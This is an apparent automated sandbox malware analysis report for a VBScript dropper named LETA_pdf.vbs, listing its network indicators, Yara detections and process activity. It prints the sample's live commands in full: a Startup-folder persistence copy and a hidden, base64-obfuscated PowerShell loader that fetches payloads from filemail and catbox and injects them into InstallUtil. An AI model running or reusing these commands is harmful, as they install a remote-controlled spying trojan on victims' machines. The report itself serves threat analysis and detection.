Windows Analysis Report
LETA_pdf.vbs

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Uses dynamic DNS services

Source: unknown

DNS query: name: deadpoolstart2025.duckdns.org

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10

Source: global traffic

TCP traffic: 192.168.2.6:49804 -> 181.71.217.114:4203

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zj1o07.txt HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.187.200 172.67.187.200
Source: Joe Sandbox View	IP Address: 172.67.187.200 172.67.187.200
Source: Joe Sandbox View	IP Address: 142.215.209.78 142.215.209.78

Source: Joe Sandbox View

ASN Name: ColombiaMovilCO ColombiaMovilCO

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49708 -> 172.67.187.200:443

Source: global traffic	HTTP traffic detected: GET /d/0jfAN HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /d/0jfAN HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /d/0jfAN HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zj1o07.txt HTTP/1.1Host: files.catbox.moeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/0jfAN HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee

Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: 1017.filemail.com
Source: global traffic	DNS traffic detected: DNS query: files.catbox.moe
Source: global traffic	DNS traffic detected: DNS query: deadpoolstart2025.duckdns.org

Source: InstallUtil.exe, 0000000D.00000002.3451747928.0000000005408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: InstallUtil.exe, 0000000D.00000002.3451605765.0000000005400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabd
Source: wscript.exe, 00000000.00000003.2302592434.0000023843C89000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305642751.0000023841FBB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2180833243.0000023843C87000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2303965134.0000023843F60000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2304522122.0000023841FBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/0jfAN
Source: wscript.exe, 00000000.00000003.2303716053.0000023841D6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305294685.0000023841D83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2304423906.0000023841D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/0jfANl6r.dll
Source: powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2292182523.000002415415D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2948152527.000001BEAF28D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2568313693.000002CA49891000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com
Source: powershell.exe, 00000009.00000002.2566881989.000002CA478A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/f
Source: powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S
Source: powershell.exe, 00000005.00000002.2292182523.00000241540DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000005.00000002.2292182523.000002415412C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2948152527.000001BEAF2CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2948152527.000001BEAF28D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2568313693.000002CA49891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe
Source: powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe;
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2294778196.000002416C1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: wscript.exe, 00000000.00000003.2299241877.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2298792949.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2302151095.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305487837.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/#
Source: wscript.exe, 00000000.00000003.2299241877.0000023841DFC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305564366.0000023841DFC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2299241877.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2298344275.0000023841DFA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2298792949.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2302151095.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305487837.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/0jfAN
Source: wscript.exe, 00000000.00000003.2299241877.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2298792949.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2302151095.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305487837.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee:443/d/0jfAN
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.181.20.35:443 -> 192.168.2.6:49785 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 13.2.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.406d60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

System Summary

Source: Process Memory Space: powershell.exe PID: 5100, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3960, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Server XML HTTP 6.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{88d96a0b-f192-11d4-a65f-0040963251e5}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD348038F2	5_2_00007FFD348038F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD348016F2	5_2_00007FFD348016F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD348027FA	5_2_00007FFD348027FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 13_2_013876C8	13_2_013876C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 13_2_01386DF8	13_2_01386DF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 13_2_01383448	13_2_01383448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 13_2_01383443	13_2_01383443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 13_2_01386AB0	13_2_01386AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 13_2_0138BCB3	13_2_0138BCB3

Source: LETA_pdf.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2358			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 5100, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3960, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winVBS@15/8@4/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3896:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\cookies

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4w2ic4xt.eg2.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\LETA_pdf.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\LETA_pdf.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0g